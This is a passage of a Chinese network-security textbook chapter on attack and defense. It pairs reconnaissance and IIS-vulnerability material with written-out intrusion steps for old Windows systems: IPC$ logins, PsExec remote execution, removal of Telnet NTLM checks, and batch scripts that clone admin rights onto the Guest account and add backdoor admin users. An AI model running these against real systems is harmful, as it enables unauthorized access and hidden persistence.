第2章 网络攻击与防范_第1页
第2章 网络攻击与防范_第2页
第2章 网络攻击与防范_第3页
第2章 网络攻击与防范_第4页
第2章 网络攻击与防范_第5页
已阅读5页,还剩273页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

第2章网络攻击与防范网络攻击概述

2.1网络攻击的准备阶段

2.2网络攻击的实施阶段

2.3网络攻击的善后阶段

2.4本章学习要点了解黑客的由来和发展掌握常见网络攻击的分类和目的了解网络攻击的步骤掌握一般网络攻击的防范方法

2.1网络攻击概述2.1.1黑客的概述1.黑客的由来黑客是“Hacker”的音译,源于动词Hack,其引申意义是指“干了一件非常漂亮的事”。

这里说的黑客是指那些精于某方面技术的人。对于计算机而言,黑客就是精通网络、系统、外部设备以及软硬件技术的人。

真正的黑客有自己独特的文化和精神,他们并不破坏别人的系统,他们崇拜技术,对计算机系统进行智力上的自由探索。早期的黑客是指真正的程序员,他们活跃在计算机技术发展的早期,使用机器语言、汇编语言以及很多古老的语言编写程序,将大部分时间花在计算机的程序设计上,并以此为乐。到了20世纪80年代以后,随着计算机网络技术的发展,现代的黑客们把精力放在了寻找各种系统漏洞上,并通过暴露网络系统中的缺陷与非授权更改服务器等行为,达到表现自我和反对权威的目的。2.黑客的行为发展趋势(1)黑客群体的扩大化(2)黑客的组织化和团体化(3)动机复杂化2.1.2常见的网络攻击黑客攻击和网络安全是紧密结合在一起的,研究网络安全而不研究黑客攻击技术简直是纸上谈兵,研究攻击技术而不研究网络安全就是闭门造车。从某种意义上说,没有攻击就没有安全,系统管理员可以利用常见的攻击手段对系统进行检测,并对相关的漏洞采取有效的补救措施。网络攻击有善意的也有恶意的。

善意的攻击可以帮助系统管理员检查系统漏洞。

恶意的攻击包括为了私人恩怨而攻击、出于商业或个人目的获得秘密资料、利用对方的系统资源满足自己的需求、寻求刺激、给别人帮忙以及一些无目的的攻击等。1.攻击目的(1)窃取信息(2)获取口令(3)控制中间站点(4)获得超级用户权限2.攻击事件分类外部攻击内部攻击行为滥用实施外部攻击的方法很多,从攻击者目的的角度来讲,可将攻击事件分为以下5类。(1)破坏型攻击(2)利用型攻击(3)信息收集型攻击(4)网络欺骗攻击(5)垃圾信息攻击2.1.3攻击步骤图2.1攻击步骤2.2网络攻击的准备阶段2.2.1社会工程学介绍1.社会工程学的概述社会工程学就是利用人的心理弱点(如人的本能反应、好奇心、信任、贪婪)、规章与制度的漏洞等进行欺骗、伤害等,以期获得所需的信息(如计算机口令、银行账号信息)。社会工程学有狭义与广义之分。

广义与狭义社会工程学最明显的区别是会与受害者进行交互式行为。

例如,通过设置一个陷阱使对方掉入,或是伪造的虚假电子邮件,或者利用相关通信工具与他们交流获取敏感信息。广义的社会工程学是清楚地知道自己需要什么信息,应该怎样去做,从收集的信息当中分析出应该与哪个关键人物交流。社会工程学入侵与传统的黑客入侵有着本质的区别,是非传统的信息安全。

它不是利用漏洞入侵,而是利用人性的漏洞。它是无法用硬件防火墙、入侵检测系统,虚拟专用网络,或是安全软件产品来防御的。

社会工程学不是单纯针对系统入侵与源代码窃取,本质上,它在黑客攻击边沿上独立并平衡着。它的威胁不仅仅是信息安全,还包括能源、经济、文化、恐怖主义等。国防大学卢凡博士曾经说过:“它(社会工程学攻击)并不能等同于一般的欺骗手法,即使自认为最警惕最小心的人,一样会受到高明的社会工程学手段的损害,因为社会工程学主导着非传统信息安全,所以通过对它的研究可以提高对非传统信息安全事件的能力。”2.主要攻击手段(1)网络钓鱼攻击(2)传统的社交手段2.2.2网络信息搜集1.常用DOS命令(1)ping命令ping命令的使用格式如下。ping[-t][-a][-l][-ncount][-iTTL]参数说明如下。[-t]一直ping下去,直到按下“Ctrl+C”组合键结束字节。[-a]ping的同时把IP地址转换成主机名。[-l]指定数据包的大小,默认为32个字节,最大为65

527个字节。[-f]在数据包中发送“不要分段”标志,数据包不会被路由设备分段。[-ncount]设定ping的次数。[-iTTL]设置ICMP包的生存时间(指ICMP包能够传到临近的第几个节点)。操作系统默认TTL返回值UNIX类255Windows9532WindowsNT/2000/2003128CompaqTru645.064表2.1 不同的操作系统对ping的TTL返回值①由域名得到网站IP地址。方法一:ping命令试探。使用命令:ping域名。例如,黑客想知道百度服务器的IP地址,可以在MS-DOS中输入“ping”命令,如图2.2所示。图2.2ping命令试探从图2.2可以看出,对应的IP地址为3。方法二:nslookup命令。使用命令:nslookup域名。同样以百度服务器为例,在MS-DOS中输入“nslookup”命令,按“Enter”键后得到域名查询结果,如图2.3所示。图2.3nslookup命令试探

从图2.3返回的结果分析,Addresses后面列出的就是所使用的Web服务器群里的IP。上面介绍的是黑客经常使用的两种最基本的方法。此外,还有一些软件(如Lansee)附带域名转换IP的功能,实现起来更简单,功能更强大。

从这两种方法中可以看出,ping命令方便、快捷,nslookup命令查询到的结果更为详细。②由IP得到目标主机的地理位置。由于IP地址的分配是全球统一管理的,因此黑客可以通过查询有关机构的IP地址数据库来得到该IP所对应的地理位置,由于IP管理机构多处于国外,而且分布比较零散,因此在这里介绍一个能查询到IP数据库的网站。网址:,如图2.4所示。图2.4查询数据库的网站

图2.5查询结果(2)netstat命令netstat命令有助于了解网络的整体使用情况。

它可以显示当前正在活动的网络连接的详细信息,如采用的协议类型、当前主机与远端相连主机(一个或多个)的IP地址以及它们之间的连接状态等。netstat命令的使用格式如下。netstat[-a][-e][-n][-s][-pproto][-r][interval]参数说明如下。[-a]显示所有主机的端口号。[-e]显示以太网统计信息,该参数可以与-s选项结合使用。[-n]以数字表格形式显示地址和端口。[-s]显示每个协议的使用状态(包括TCP、UDP、IP)。[-pproto]显示特定协议的具体使用信息。[-r]显示本机路由表的内容。[interval]重新显示所选的状态,每次显示之间的间隔数(单位秒)。netstat命令的主要用途是检测本地系统开放的端口,这样做可以了解自己的系统开放了什么服务,还可以初步推断系统是否存在木马,因为常见的网络服务开放的默认端口轻易不会被木马占用。(3)nbtstat命令nbtstat命令用于显示本地计算机和远程计算机的基于TCP/IP(NetBT)的NetBIOS统计资料、NetBIOS名称表和NetBIOS名称缓存。nbtstat可以刷新NetBIOS名称缓存和注册的WindowsInternet名称服务(WINS)名称。

使用不带参数的nbtstat显示帮助。nbtstat命令的使用格式如下。nbtstat [-aremotename][-AIPaddress][-c][-n][-r][-R][-RR][-s][-S][Interval]参数说明如下。[-aremotename]显示远程计算机的NetBIOS名称表,其中,remotename是远程计算机的NetBIOS计算机名称。[-AIPaddress]显示远程计算机的NetBIOS名称表,其名称由远程计算机的IP地址指定(以小数点分隔)。[-c]显示NetBIOS名称缓存内容、NetBIOS名称表及其解析的各个地址。[-n]显示本地计算机的NetBIOS名称表。[-r]显示NetBIOS名称解析统计资料。[-R]清除NetBIOS名称缓存的内容,并从Lmhosts文件中重新加载带有#PRE标记的项目。[-RR]重新释放并刷新通过WINS注册的本地计算机的NetBIOS名称。[-s]显示NetBIOS客户和服务器会话,并试图将目标IP地址转化为名称。[-S]显示NetBIOS客户和服务器会话,只通过IP地址列出远程计算机。[Interval]重新显示选择的统计资料,可以中断每个显示之间的Interval中指定的秒数。如果省略该参数,nbtstat将只显示一次当前的配置信息。2.网站信息搜集(1)中国互联网络信息中心(2)中国万网(3)EDGAR数据库图2.6中国互联网络信息中心查询界面图2.7中国万网查询界面3.结构探测一般来说,网络的基本结构如图2.8所示。图2.8网络的基本结构4.搜索引擎(1)Google(2)百度(3)Yahoo(4)MSNSearch2.2.3资源搜集1.共享资源简介(1)共享资源(2)建立共享的条件2.共享资源搜索(1)扫描器简介(2)常用扫描器工具3.破解Windows9x共享密码4.FTP资料扫描5.安全解决方案2.2.4端口扫描1.网络基础知识(1)端口的基本概念“端口”在计算机网络领域中是个非常重要的概念。

它是专门为计算机通信而设计的,它不是硬件,不同于计算机中的“插槽”,可以说是个“软端口”。端口是由计算机的通信协议TCP/IP定义的。

其中规定,用IP地址和端口作为套接字,它代表TCP连接的一个连接端,一般称为Socket。具体来说,就是用[IP:端口]来定位一台主机中的进程。

可以用这样的比喻:端口相当于两台计算机进程间的大门,可以任意定义,其目的只是为了让两台计算机能够找到对方的进程。计算机就像一座大楼,这个大楼有好多入口(端口),进到不同的入口中就可以找到不同的公司(进程)。

如果要和远程主机A的程序通信,那么只要把数据发向[A:端口]就可以实现通信了。可见,端口与进程是一一对应的,如果某个进程正在等待连接,称之为该进程正在监听,那么就会出现与它相对应的端口。由此可见,入侵者通过扫描端口,便可以判断出目标计算机有哪些通信进程正在等待连续。(2)端口的分类服务名称端口号说明FTP21文件传输服务Telnet23远程登录服务HTTP80网页浏览服务POP3110邮件服务SMTP25简单邮件传输服务SOCK51080代理服务表2.2 常见TCP公认端口号服务名称端口号说明RPC111远程调用SNMP161简单网络管理TFTP69简单文件传输表2.3 常见UDP公认端口号2.端口扫描原理(1)全TCP连接(2)半打开式扫描(SYN扫描)(3)FIN扫描(4)第三方扫描3.扫描工具(1)扫描器X-ScanX-Scan的主界面如图2.10所示。图2.10X-Scan的主界面(2)流光Fluxay(3)X-Port(4)SuperScan(5)其他端口扫描工具2.3网络攻击的实施阶段2.3.1基于认证的入侵及防范1.IPC$入侵IPC$是Windows系统特有的一项管理功能,是Microsoft公司为了方便用户使用计算机而设定的,主要用来远程管理计算机。建立、复制、删除远程计算机文件。在远程计算机上执行命令。可见,IPC$在为管理员提供了方便的同时,也留下了严重的安全隐患。

解决方案有以下3种。①删除默认共享。②禁止空连接进行枚举攻击。③关闭Server服务。2.Telnet入侵Telnet用于提供远程登录服务,当终端用户登录到提供这种服务的主机时,就会得到一个shell(命令行),通过这个shell,终端用户便可以执行远程主机上的任何程序。同时用户将作为这台主机的终端来使用该主机的CPU资源和内存资源,实现完全控制远程主机。Telnet登录控制是入侵者经常使用的方式。3.远程命令执行及进程查杀(1)工具PSEXEC该工具为远程执行命令软件。

在本地机上使用PSEXEC即可在远程主机上执行命令。其使用方法如下。PSEXEC\\computer[-uuser][-ppassword][-s][-i][-c][-f][-d]cmd[arguments]各参数含义如下。[-u]登录远程主机的用户名。[-p]登录远程主机的密码。[-i]与远程主机交互执行。[-c]拷贝本地文件到远程主机系统并执行。[-f]拷贝本地文件到远程主机系统目录并执行,如果远程主机已经存在该文件,则覆盖。[-d]不等待程序结束。通过PSEXEC实现与Telnet登录同样的功能。

使用命令psexec\\06-uadministrator-p“”cmd,如图2.11所示。图2.11PSEXEC登录还可以使用PSEXEC,将本地可执行程

序拷贝到远程主机执行,如运行命令psexec\\06-uadministrator-p“”-ccalc.exe,如图2.12所示。图2.12将本地可执行程序拷贝到远程主机执行

(2)查杀进程入侵者对远程主机的彻底控制,还包括远程查看、杀死远程主机的进程。

使用PSEXEC和Aproman可以实现这一过程。其中,工具“PSEXEC”用来远程执行命令,工具“AproMan”用来查看进程、端口与进程的关联关系,并杀死指定进程,还可以把进程和模块列表导出到文本文件中。Aproman的使用方法如下。AProMan.exe-a:查看进程。Aproman.exe-p:显示端口进程关联关系(需要Administrator权限)。Aproman.exe-t[PID]:杀掉指定进程号的进程。Aproman.exe-f[FileName]:把进程及模块信息存入文件。使用PSEXEC和Aproman查、杀进程实例。步骤1:将Aproman.exe拷贝到本机磁盘。步骤2:使用PSEXEC将Aproman.exe拷贝到目的主机并执行。步骤3:通过指定进程号杀死远程主机的进程。使用命令psexec\\06-uadministrator-p“”-daproman-t1280。除了使用工具“PSEXEC”与“AproMan”来实现查杀进程外,还可以通过工具“pslist.exe”与“pskill.exe”。通过这两款工具实现查杀进程,并不用把任何程序拷贝到远程主机内部,pslist.exe和pskill.exe可在本地对远程主机的进程进行操作。

其中“pslist.exe”使用方法如下。pslist.exe是命令行方式下远程查看进程的工具,其使用方法为

pslist[-t][-m][-x]\\computer[-uusername][-ppassword][name/pid]其中,各参数含义如下。[-t]显示线程。[-m]显示内存细节。[-x]显示进程、内存和线程。name列出指定用户的进程。pid显示指定PID的进程信息。pskill.exe是命令行方式下远程杀进程的工具,其使用方式为pskill\\computer[-u用户名][进程号/进程名]4.远程管理计算机(1)打开“计算机管理”方法1:通过“控制面板”→“管理工具”→“计算机管理”打开。方法2:通过“运行“对话框输入“compmgmt.msc/s”命令打开。方法3:右击“我的电脑”,在弹出的快捷菜单中选择“管理”选项。(2)远程管理服务Telnet(3)开启远程主机服务的其他方法(4)去掉NTLM验证的方法由于Telnet功能太强大,而且也是入侵者使用最频繁的登录手段之一,因此微软为Telnet添加了身份认证,称为NTLM验证。它要求Telnet终端除了需要有Telnet服务主机的用户名和密码外,还需要满足NTLM验证。方法1:①在本地计算机建立一个与远程主机相同的账号和密码,如图2.13所示。图2.13建立与远程主机相同的账号和密码②通过“开始”→“程序”→“附件”找到“命令提示符”,然后右击“命令提示符”,在弹出的快捷菜单中选择“属性”选项。

在“以其他用户身份运行”前面打钩,如图2.14所示。图2.14以其他用户身份运行的对话框

③单击“确定”按钮,在MS-DOS界面中进行Telnet登录。方法2:通过修改远程计算机Telnet服务设置去除NTLM验证。①首先建立telnet.txt文件,然后写入3,7,y,0,y,0,0。②建立批处理文件tel.bat,输入命令tlntadmn<telnet.txt。该命令是把telnet.txt中的内容导入tlntadmn.exe。③建立IPC$连接,将telnet.txt和tel.bat拷贝到远程计算机,并通过at命令执行tel.bat,去除NTLM认证。2.3.2基于IIS漏洞的入侵及防范IIS被称为Internet信息服务器。

它在Windows系统中提供Internet服务,作为Windows组件附加在Windows系统中。

通过IIS,Windows系统的用户可以方便地提供Web服务、FTP服务、SMTP服务等。IIS服务器在方便用户使用的同时,也带来了许多安全隐患。

据说IIS的漏洞有千余种,能被用来入侵的漏洞大多数属于“溢出”型漏洞。对于这种漏洞,入侵者能够通过发送特定格式的数据来使远程服务器缓冲区溢出,从而突破系统的保护在溢出后的空间中执行任何命令。1..ida&.idq漏洞其具体描述如表2.4所示。漏洞描述ISAPI扩展存在远程缓冲溢出漏洞。攻击者可以利用该漏洞获得Web服务器的System权限来访问远程系统受影响系统MicrosoftWindowsNT4.0(SP0-SP6)MicrosoftWindows2000(SP0-SP2)检测方法手工检测;工具监测(X-Scan)解决方案(1)为Windows2000操作系统打SP4补丁(2)为该漏洞安装补丁(3)删除.ida&.idq的脚本映射建议:即使已经为该漏洞安装了补丁,最好还是删除.IDA映射删除方法:打开Internet服务管理器;右击服务器并在弹出的快捷菜单中选择“属性”选项;选择“主属性”,选择“WWW服务”→“编辑”→“主目录”→“配置”,在扩展名列表中删除.ida和.idq项(4)到微软技术站点上下载URLSCAN并安装,URLSCAN默认设置下就会拒绝所有对.ida&.idq映射的请求表2.4 .ida&.idq漏洞简介2..Printer漏洞其具体描述如表2.5所示。漏洞描述Windows2000IIS5.0.printerISAPI扩展存在缓冲区溢出漏洞一般情况下攻击会使Web服务器停止响应,但Windows2000会检测到Web服务没有响应而重新启动服务器,因此,管理员比较难发现这种攻击该漏洞非常危险,仅仅需要Windows2000打开80端口(http)或者443端口(https),微软公司强烈要求在未打补丁之前一定要移除ISAPI网络打印的映射受影响系统Windows2000Server(IIS5.0)Windows2000AdvancedServer(IIS5.0)Windows2000DatacenterServer(IIS5.0)检测方法工具检测(X-Scan)解决方案(1)为Windows2000操作系统打SP4补丁(2)安装漏洞补丁表2.5 .printer漏洞简介3.Unicode漏洞其具体描述如表2.6所示。漏洞描述该漏洞既是一个远程漏洞,同时也是一个本地漏洞,攻击者可通过IE浏览器远程运行被攻击计算机的cmd.exe文件,从而使该计算机的文件暴露,且可随意执行和更改文件微软IIS4.0和IIS5.0都存在利用扩展Unicode字符取代“/”和“\”而能利用“../”目录遍历的漏洞。未经授权的用户可能利用IUSR_machinename账号的上下文空间访问任何已知的文件。该账号在默认情况下属于Everyone和Users组的成员,因此任何与Web根目录在同一逻辑驱动器上的能被这些用户组访问的文件都能被删除、修改或执行,就如同一个用户成功登录所能完成的一样受影响系统MicrosoftWindowsNT/2000(IIS5.0)MicrosoftWindowsNT4.0(IIS4.0)检测方法手工检测;工具检测(X-Scan)解决方案(1)为Windows2000操作系统安装补丁SP4(2)安装漏洞补丁IIS4.0:/ntserver/nts/downloads/critical/q269862/default.aspIIS5.0:/windows2000/downloads/critical/q269862/default.asp(3)安装IISLockdown和URLScan来加固系统(4)临时解决方法如果不需要可执行的CGI,可以删除可执行虚拟目录,如/scripts等。如果确实需要可执行的虚拟目录,建议将可执行虚拟目录单独放在一个分区表2.6 Unicode漏洞简介4..asp映射分块编码漏洞其具体描述如表2.7所示。漏洞描述Windows2000和NT4IIS.asp映射存在远程缓冲溢出漏洞ASPISAPI过滤器默认在所有NT4和Windows2000系统中装载,存在的漏洞可以导致远程执行任意命令。恶意攻击者可以使用分块编码形式把数据传送给IIS服务器,当解码和解析这些数据时,可以强迫IIS把入侵者提供的数据写到内存的任意位置。此漏洞会导致Windows2000系统产生缓冲溢出,并以IWAM_computer_name用户的权限执行任意代码,而在WindowsNT4下可以以system的权限执行任意代码受影响系统MicrosoftWindowsNT4.0+IIS4.0MicrosoftWindows2000+IIS5.0检测方法工具检测(X-Scan)解决方案(1)为操作系统打补丁(2)安装漏洞补丁表2.7 .asp漏洞简介5.WebDAV远程缓冲区溢出漏洞其具体描述如表2.8所示。漏洞描述MicrosoftIIS5.0带有WebDAV组件,对用户输入的传递给ntdll.dll程序处理的请求未做充分的边界检查,远程入侵者可以通过向WebDAV提交一个精心构造的超长数据请求而导致发生缓冲区溢出。这可能使入侵者以localsystem的权限在主机上执行任意指令受影响系统Windows2000(SP0-SP3)检测方法WebDAVScan.exe是IIS中WebDAV漏洞的专用扫描器解决方案为操作系统打系统补丁表2.8 WebDAV远程缓冲区溢出漏洞简介2.3.3基于电子邮件服务的攻击及防范下面介绍一些我们经常遇到的漏洞。(1)IMAP和POP漏洞(2)拒绝服务(DoS)攻击(3)系统配置漏洞(4)利用软件问题(5)利用人为因素(6)特洛伊木马及病毒传播2.3.4注册表的入侵及防范1.注册表相关知识从Windows95开始,Microsoft在Windows中引入了注册表(Registry),用于代替原来Win32系统里.ini文件。注册表是Windows用来管理配置系统运行参数的一个核心数据库。

在这个数据库里整合集成了全部系统和应用程序的初始化信息,其中包含了硬件设备的说明、相互关联的应用程序与文档文件、窗口显示方式、网络连接参数,甚至有关系到计算机安全的网络共享设置。它与老的Win32系统里的.ini文件相比,具有方便管理、安全性较高、适于网络操作等特点。

如果注册表受到了破坏,轻者使Windows的启动过程出现异常,重者可能会导致整个系统的完全瘫痪。用户通过注册表可以轻易地添加、删除、修改系统内的软件配置信息或硬件驱动程序,大大方便了用户对软硬件的工作状态进行调整。与此同时,入侵者也经常通过注册表来种植木马、修改软件信息,甚至删除、停用或改变硬件的工作状态。首先了解一下注册表的基本知识。

在“运行”对话框中输入“regedit”,然后单击“确定”按钮,就可以运行注册表编辑器。在注册表中,所有的数据都是通过一种树状分层结构来组织的,由子树、键、子键和键值组成,十分类似于目录结构,如图2.15所示。

表2.9、表2.10所示为注册表的基本知识。图2.15注册表的分层结构根项名称说明HKEY_LOCAL_MACHINE包含关于本地计算机系统的信息,包括硬件和操作系统数据,如总线类型、系统内存、设备驱动程序和启动控制数据HKEY_CLASSES_ROOT包含由各种OLE技术使用的信息和文件类别关联数据。如果HKEY_LOCAL_MACHINE(或HKEY_CURRENT_USER)\SOFTWARE\Classes中存在某个键或值,则对应的键或值将出现在HKEY_CLASSES_ROOT中。如果两处均存在键或值,HKEY_CURRENT_USER版本将是出现在HKEY_CLASSES_ROOT中的一个HKEY_CURRENT_USER包含当前以交互方式(与远程方式相反)登录的用户的用户配置文件,包括环境变量、桌面设置、网络连接、打印机和程序首选项。该子目录树是HKEY_USERS子目录的别名,并指向HKEY_USERS\当前用户的安全IDHKEY_USERS包含关于动态加载的用户配置文件和默认配置文件的信息。包含同时出现在HKEY_CURRENT_USER中的信息。要远程访问服务器的用户在服务器上的该项下没有配置文件,它们的配置文件将加载到它们自己计算机的注册表中HKEY_CURRENT_CONFIG包含在启动时由本地计算机系统使用的硬件配置文件的相关信息,该信息用于配置一些设置,如要加载的设备驱动程序和显示时要使用的分辨率,该子目录树是HKEY_LOCAL_MACHINE子目录树的一部分,并指向HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\HardwareProfiles\Current表2.9 注册表根项名称说明数据类型说明REG_BINARY未处理的二进制数据。二进制是没有长度限制的,可以是任意个字节的长度。多数硬件组件信息都以二进制数据存储,而以十六进制格式显示在注册表编辑器中,如:“CustomColors”的键值就是一个二进制数据,双击键值名,出现“编辑二进制数值”对话框,进行设置REG_DWORD数据由4字节(32位)长度的数表示。许多设备驱动程序和服务的参数都是这种类型,并在注册表编辑器中以二进制、十六进制或十进制的格式显示REG_EXPAND_SZ长度可变的数据串,一般用来表示文件的描述、硬件的标识等,通常由字母和数字组成,最大长度不能超过255个字符REG_MULTI_SZ多个字符串。其中格式可被用户读取的列表或多值。常用空格、逗号或其他标记分开REG_SZ固定长度的文本串REG_FULL_RESOURCE_

DESCRIPTOR设计用来存储硬件元件或驱动程序的资源列表的一系列嵌套数组表2.10 注册表数据类型说明可以通过以下两种方法增强注册表的安全性。(1)禁止使用注册表编辑器(2)删除“远程注册表服务”2.入侵远程主机的注册表(1)开启远程主机的“远程注册表服务”入侵者一般都通过远程进入目标主机注册表,因此,如果要连接远程目标主机的“网络注册表”实现注册表入侵的话,除了能成功地建立IPC$连接外,还需要远程目标主机已经开启了“远程注册表服务”,如图2.18所示。图2.18远程注册表服务开启远程主机服务的过程如下。①建立IPC$连接。②打开“计算机管理”,使用“计算机管理”管理远程计算机。③开启远程注册表服务。④关闭“计算机管理”,断开IPC$连接。(2)连接远程主机的注册表入侵者可以通过Windows自带的工具连接远程主机的注册表并进行修改。具体步骤如下。①执行regedit来打开注册表编辑器。打开“运行”对话框,输入“regedit”命令,如图2.19所示。图2.19运行对话框②建立IPC$连接。③连接远程主机注册表。在注册表编辑器界面中,选择“注册表”→”连接网络注册表”。然后在弹出的对话框内输入远程主机的IP地址,最后单击“确定”按钮。连接网络注册表成功后,入侵者可以通过该工具在本地修改远程注册表。

这种方式得到的网络注册表只有3个根项。④断开网络注册表。当修改完远程主机的注册表后,需要断开网络注册表。鼠标右键单击远程主机的IP地址处,在弹出的快捷菜单中选择“断开”选项。3.使用reg文件修改注册表(1)reg文件的使用reg文件是Windows系统中的一种特定格式的文本文件,它是方便用户或安装程序在注册表中添加信息而设计的。

它有自己固定的格式,扩展名为reg。①添加主键的方法。步骤1:打开记事本,然后编辑添加主键,在记事本中写入:REGEDIT4[HKEY_CURRENT_USERS\Software\HACK]步骤2:保存文件为test1.reg,双击该文件,便建立了HACK主键,如图2.20所示。图2.20HACK主键②添加键值项方法。为HACK主键建立一个名字为“NAME”,类型为“DWORD”,值为“00000000”的键值项。打开记事本,写入:REGEDIT4[HKEY_CURRENT_USER\Software\HACK]"NAME"=dword:00000000保存为TEST2.REG文件,然后双击导入,如图2.21所示。图2.21导入键值项③删除键值项的方法。在记事本中输入:REGEDIT4[HKEY_CURRENT_USER\Software\HACK]"NAME"=-然后保存为TEST3.REG文件,双击导入注册表,就可以删除键值项。④删除主键。在记事本中输入:REGEDIT4[-HKEY_CURRENT_USERS\Software\HACK]保存为TEST4.REG文件,双击导入注册表,就可以删除主键。(2)命令行导入通过双击注册表文件把注册信息导入,每次导入都会有提示对话框,如图2.22所示,容易被远程主机管理员发现。图2.22导入注册表确认对话框通过以下两种方法把注册表信息通过无询问式地导入注册表。方法1:使用专门的注册表导入工具。方法2:使用windows系统自带的导入工具。windows自带的导入工具使用命令:

regedit/s<reg文件>regedit是系统自带的命令,不使用任何工具。/s表示不需要询问,直接导入。(3)远程关机修改完注册表后,只有远程主机重新启动后才能使修改生效。

通过以下两种方法来关闭远程主机。①远程关机方法一打开计算机管理(本地)。在控制台树中,右键单击“计算机管理”,然后在弹出的快捷菜单中选择“连接到另一台计算机”选项。在“选择计算机”对话框的“名称”框下,选择要重新启动或关闭的计算机,然后单击“确定”按钮。右键单击远程计算机,然后在弹出的快捷菜单中选择“属性”选项。在“高级”选项卡上,单击“启动和故障恢复”中的“设置”按钮。单击“关闭”按钮,打开“关闭”对话框。在“操作”栏中,选择要在连接的计算机上执行的操作。在“强制应用程序关闭”栏中,选择关闭或重新启动计算机时是否强制关闭程序,然后单击“确定”按钮。②远程关机方法二使用Windows2003/XP中的shutdown命令远程关机。

对于没有该命令的系统(如Windows2000),可以将shutdown.exe工具拷贝到Windows2000的系统文件夹中,就可以使用了。shutdown经常使用的参数如下。s:关闭计算机。r:重新启动计算机。m\\ip:指定被操作的远程计算机。txx:指定多少时间后关闭或者重新启动计算机。使用shutdown关闭远程计算机,必须先建立IPC$连接,然后输入命令进行关机。

例如,shutdown-s-m\\0-t00实现远程关闭。2.3.5安全解决方案下面列出几条安全解决方案以供参考。①加强个人网络安全保护意识。②删除默认的共享,尽量不要开放共享资源,资源迫不得已可以将访问者的权限降至最低。③禁止空连接进行枚举攻击。④使用正版防火墙软件和杀毒工具,及时升级。⑤设置代理服务器,隐藏自已的IP地址。⑥将防毒、防黑当成日常性工作,定时更新防毒组件,将防毒软件保持在常驻状态,以彻底防毒。⑦对于重要的个人资料做好严密的保护,并养成资料备份的习惯。2.4网络攻击的善后阶段2.4.1隐藏技术1.文件传输与文件隐藏技术所谓“隐藏入侵”,是指入侵者利用其他计算机代替自己执行扫描、漏洞溢出、连接建立、远程控制等操作。入侵者们把这种代替他们完成入侵任务的计算机称为“肉鸡”。

在隐藏技术中必然涉及入侵者将文件传输到“肉鸡”中并隐藏的问题。(1)几种文件传输方式IPC$文件传输FTP传输打包传输(2)文件隐藏简单隐藏利用专用文件夹隐藏2.扫描隐藏技术3.入侵隐藏技术2.4.2留后门从入侵者角度来看,后门分为账号后门、漏洞后门和木马后门。1.账号后门账号永远是系统敞开的大门。

入侵者为了能够永久控制远程主机/服务器,他们会在第一次入侵成功后便马上在远程主机/服务器内部建立一个备用的管理员账号,这种账号就是“后门账号”。

入侵者常用的留账号后门的方法是克隆账号。要修改SAM,经常需要使用工具PSU.exe,使用方式是:psu[参数选项]p<要运行的文件名>。i<要su到的进程号>默认su到的进程为system。(1)克隆账号的步骤步骤1:打开注册表编辑器,可以看到SAM一般是无法进行修改的。如果想修改,必须提升权限,如图2.24所示。图2.24注册表编辑器中的SAM步骤2:通过进程管理器查看System进程,并记录该进程PID,Windows2000一般为8,如图2.25所示。图2.25查看系统进程的PID步骤3:使用psu.exe提升权限,如图2.26所示。步骤4:查看SAM中的账号信息,其中Users\Names下有所有账号列表,在User键下,以十六进制数字为名的键记录着账号的权限、密码等配置。图2.26使用psu提升权限步骤5:克隆账号,就是把Guest账号的权限克隆为管理员权限。步骤6:禁用Guest账号,如图2.27所示。图2.27禁用Guest账号步骤7:查看Guest账号。使用的命令如下。netuserguestnetlocalgroupadministrators步骤8:使用Guest账号进行IPC$连接,测试账号是否可用。如图2.28所示,虽然在步骤6中禁用了Guest账号,我们仍然可以使用该账号。图2.28使用Guest账号进行IPC$入侵

(2)命令行方式克隆账号①使用命令行方式克隆账号需要以下工具。reg.exe:命令行下的注册表编辑工具。psu.exe:权限提升工具。pslist.exe:查看远程主机进程。②命令行方式克隆账号的步骤如下。步骤1:编写BAT文件backdoor.bat。psu–p"regedit/sdelf.reg"–i%1psu–p"regcopyhklm\SAM\SAM\Domains\Account\Users\000001F4\fhklm\SAM\SAM\Domains\Account\Users\000001F5\f"–i%1netuserguest/active:yesnetuserguest123456789netuserguest/active:nodeldelf.regdelreg.exedelpsu.exedelbackdoor.bat步骤2:使用pslist.exe查看远程主机的System进程PID,使用命令为“pslist\\ip-u用户名-p密码”。步骤3:上传backdoor.bat,运行批处理进行账号克隆。步骤4:建立IPC$连接进行验证,退出。2.漏洞后门3.木马后门实训1网络的常用攻击方法【实训目的】【实训需求】【实训步骤】1.扫描入侵(1)获取局域网内主机00的资源信息①ping–a00–t获取主机名。②netstat–a00获取所在域及相关信息。③netview00获取共享资源。④nbtstat–a00获取所在域及相关信息。(2)使用X-SCAN扫描局域网内主机00X-SCAN主界面如图2.29所示。图2.29X-SCAN主界面①设置扫描地址范围。X-SCAN扫描范围的设置如图2-30所示。②在扫描模块中设置要扫描的项目,如图2-31所示。图2.30X-SCAN扫描范围设置图2.31X-SCAN扫描模块设置③设置并发扫描参数,如图2-32所示。④在扫描中跳过没有响应的主机,如图2.33所示。图2.32X-SCAN并发扫描参数设置图2.33X-SCAN其他参数设置⑤设置要检测的端口及检测方式,如图2-34所示。⑥开始扫描,查看扫描报告。图2.34X-SCAN检测方式设置2.主机入侵(1)IPC$连接的建立与断开通过IPC$连接远程目标主机的条件是已获得目标主机管理员账号和密码。①执行“开始”→“运行”命令,在

“运行”对话框中输入“cmd”。②建立IPC$连接,假设1这台计算机“administrator”用户的密码为“qqqqqq”,则输入命令:netuse\\1\ipc$"qqqqqq"/user:"administrator"③映射网络驱动器,使用命令:netusez:\\1\c$④映射成功后,打开“我的电脑”,会发现多了一个Z盘,该磁盘即为目标主机的C盘。图2.35运行CMD图2.36建立IPC$连接⑤查找指定文件,用鼠标右键单击Z盘,在弹出的快捷菜单中选择“搜索”选项,查找关键字“账目”,结果如图2.37所示。将该文件夹复制、粘贴到本地磁盘,其操作就像对本地磁盘进行操作一样。图2.37资源管理器⑥断开连接,输入“netuse*/del”命令断开所有的IPC$连接,如图2.38所示。⑦通过命令:“netuse\\目标IP\ipc$\del”可以删除指定目标IP的IPC$连接。图2.38断开IPC连接(2)建立后门账号①编写BAT文件。打开记事本,输入“netusersysback123456/add”和“netlocalgroupadministratorssysback/add”命令,编写完后,另存为“hack.bat”,如图2.39所示。图2.39hack.bat编辑②与目标主机建立IPC$连接。③复制文件到目标主机。打开MS-DOS,输入“copyhack.bat\\1\d$”命令。COPY命令执行成功后,就已经把E盘下的h